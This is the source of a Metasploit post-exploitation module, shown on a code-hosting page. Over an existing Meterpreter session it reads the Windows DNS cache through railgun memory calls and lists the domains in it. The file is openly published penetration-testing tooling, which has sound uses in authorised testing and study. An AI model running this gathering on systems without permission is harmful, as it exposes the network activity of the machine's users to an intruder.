Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/dnscache_dump.rb
19515 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
8
def initialize(info = {})
9
super(
10
update_info(
11
info,
12
'Name' => 'Windows Gather DNS Cache',
13
'Description' => %q{ This module displays the records stored in the DNS cache.},
14
'License' => MSF_LICENSE,
15
'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
16
'Platform' => [ 'win' ],
17
'SessionTypes' => [ 'meterpreter' ],
18
'Notes' => {
19
'Stability' => [CRASH_SAFE],
20
'SideEffects' => [],
21
'Reliability' => []
22
},
23
'Compat' => {
24
'Meterpreter' => {
25
'Commands' => %w[
26
stdapi_railgun_api
27
stdapi_railgun_memread
28
]
29
}
30
}
31
)
32
)
33
end
34
35
def run
36
rtable = Rex::Text::Table.new(
37
'Header' => 'DNS Cached Entries',
38
'Indent' => 3,
39
'Columns' => ['TYPE', 'DOMAIN']
40
)
41
42
client.railgun.add_dll('dnsapi') if !client.railgun.get_dll('dnsapi')
43
client.railgun.add_function('dnsapi', 'DnsGetCacheDataTable', 'DWORD', [['PBLOB', 'cacheEntries', 'inout']])
44
result = client.railgun.dnsapi.DnsGetCacheDataTable('aaaa')
45
address = result['cacheEntries'].unpack1('V')
46
47
# typedef struct _DNS_CACHE_ENTRY
48
# struct _DNS_CACHE_ENTRY* pNext;
49
# PWSTR pszName;
50
# unsigned short wType;
51
# unsigned short wDataLength;
52
# unsigned long dwFlags;
53
54
while (address != 0)
55
struct_pointer = client.railgun.memread(address, 10)
56
# Get the pointer to the DNS record name
57
domain_pointer = struct_pointer[4, 4].unpack1('V')
58
dns_type = struct_pointer[8, 2].unpack1('h*').reverse
59
# According to the restrictions on valid host names, we read a maximum of 255 characters for each entry
60
domain_name = client.railgun.memread(domain_pointer, 255).split("\x00\x00").first
61
rtable << [dns_type, domain_name]
62
# Get the next _DNS_CACHE_ENTRY struct pointer
63
address = struct_pointer[0, 4].unpack1('V')
64
end
65
print_status(rtable.to_s)
66
end
67
end
68
69